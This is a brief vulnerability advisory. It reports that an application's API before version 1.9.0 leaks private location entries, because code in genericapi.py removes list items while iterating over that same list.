Prior to 1.9.0, the API in the affected application improperly filters private location entries in website/web/api/genericapi.py. Because the code removes elements from a list while iterating over it, entries marked as private may be unintentionally retained in API responses, allowing unauthorized disclosure of non-public location information.
